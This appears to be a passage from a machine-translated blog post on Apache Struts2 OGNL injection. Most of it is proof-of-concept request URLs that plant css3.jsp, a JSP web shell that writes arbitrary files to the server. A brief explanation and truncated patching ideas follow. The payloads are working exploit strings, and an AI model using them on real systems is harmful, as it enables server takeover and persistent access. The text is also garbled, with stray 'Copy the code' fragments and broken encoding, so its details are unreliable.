http://127.0.0.1/Struts2/test.action?id= '% 2 b (% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%2 3req.getParameter(%22p%22)).close())%2b'%20&p=%3c%25if(request.getParameter(%22f%22)! %3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request .getParameter(%22t%22).getBytes())%3b%25%3eCopy the code

POC3: POC3: POC3: POC3: POC3: POC3: POC3: POC3: POC3: POC3

http://127.0.0.1/Struts2/hello.action?foo=%28%23context [% 22 xwork. MethodAccessor. DenyMethodExecution % 22] % 3 d + + Java. The new lang .Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%2 3req.getParameter(%22p%22)).close())(meh%29&z[%28foo%29%28%27meh%27%29]=true&p=%3c%25if(request.getParameter(%22f%22)! %3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request .getParameter(%22t%22).getBytes())%3b%25%3eCopy the code

POC4:

http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath= (% 23 context % 5 b % 22 xwork. The MethodAccessor. DenyMethodExecutio n%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%2 3req.getParameter(%22p%22)).close()(aa)&x[(class.classLoader.jarPath)('aa')]&p=%3c%25if(request.getParameter(%22f%22)! %3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request .getParameter(%22t%22).getBytes())%3b%25%3eCopy the code

POC5:

http://127.0.0.1/Struts2/hello.action?a=1${% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true,[email protected]@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%2 3req.getParameter(%22p%22)).close()}&p=%3c%25if(request.getParameter(%22f%22)! %3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request .getParameter(%22t%22).getBytes())%3b%25%3eCopy the code

POC6:

http://localhost/Struts2/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletR equest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(r equest.getParameter(%22f%22)! %3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request .getParameter(%22t%22).getBytes())%3b%25%3eCopy the code

POC4, for example, first changed allowStaticMethodAccess to trute to allowStaticMethodAccess. Then get the request object, get the root path of the site project from the request object, and create a new Css3.jsp in the root directory, and the content of css3.jsp also comes from the client request. POC4 p is the parameter passed in. As long as you get P, you can get the content to complete the writing of the file. As stated earlier, Java is not a dynamic scripting language, so there is no Eval. There is no real one-word Trojan in Java because it cannot be executed dynamically using Eval as PHP does. The kitchen knife only provides a concrete implementation of some commonly used one-sentence functions, so the kitchen knife code can be very long, because the code can be constructed by sending requests with eval, where the code must be uploaded to the server to compile and execute.

Struts2:

Only ideas about patching are provided, not specific methods and patches. Struts2 defaults to action or does not write the suffix, some may change the code of other suffixes such as.htm,.do, so we only need to block these requests for filtering.

1. All Struts2 requests can be intercepted from the CDN layer and OGNL execution code can be filtered. 2. 3. At the project level, struts2 filter can be added a layer of interception 4. Struts2 interceptor can be used to intercept 5Copy the code